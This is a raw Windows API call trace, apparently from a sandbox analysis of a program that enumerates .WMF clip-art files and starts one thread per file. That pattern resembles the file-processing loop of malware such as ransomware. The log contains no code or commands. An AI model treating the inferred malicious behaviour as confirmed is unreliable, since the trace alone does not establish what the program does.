	[0234.479] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c1c00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2c1c00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1
	[0234.479] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a4
	[0234.481] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.482] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb458ec00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb458ec00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1
	[0234.482] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a8
	[0234.535] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.536] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f69200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1f69200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1
	[0234.536] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13ac
	[0234.538] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.539] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b40e00, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54b40e00, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1
	[0234.539] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b0
	[0234.605] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.605] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c56500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c56500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1
	[0234.605] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b4
	[0234.607] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.608] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c8c800, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2c8c800, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1
	[0234.608] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b8
	[0234.610] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.611] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf943800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf943800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1
	[0234.611] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13bc
	[0234.613] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.614] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6bcf00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb6bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1
	[0234.614] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c0
	[0234.616] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.616] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdfcc00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcdfcc00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1
	[0234.616] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c4
	[0234.618] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.619] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae630b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae630b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1
	[0234.619] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c8
	[0234.621] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.621] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad31de00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad31de00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1
	[0234.624] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13cc
	[0234.626] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.627] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac00b100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac00b100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1
	[0234.627] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13d0
	[0234.629] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.629] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaacf8400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaacf8400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1
	[0234.630] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13d4
	[0234.631] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.632] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86d2a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa86d2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1
	[0234.632] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13d8
	[0234.670] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.671] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73bfd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa73bfd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1
	[0234.671] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13dc
	[0234.674] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.674] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60ad000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa60ad000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1
	[0234.674] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e0
	[0234.676] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.677] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d9a300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4d9a300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1
	[0234.677] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e4
	[0234.679] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.679] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a87600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3a87600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1
	[0234.679] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e8
	[0234.681] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.682] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2774900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2774900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1
	[0234.682] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13ec
	[0234.684] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.685] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf50d3100, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf50d3100, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1
	[0234.685] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13f0
	[0234.687] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.687] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb4f600, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb4f600, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1
	[0234.687] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13f4
	[0234.689] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.690] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4dd7200, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4dd7200, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1
	[0234.690] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13f8
	[0234.692] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.692] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbef0a100, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbef0a100, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1
	[0234.693] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13fc
	[0234.695] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.696] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2364900, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2364900, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1
	[0234.696] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1404
	[0234.698] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.699] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4adb300, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4adb300, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1
	[0234.699] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1408
	[0234.701] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.701] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad86a500, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad86a500, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1
	[0234.701] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140c
	[0234.704] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.704] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fdeb00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95fdeb00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1
	[0234.704] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1410
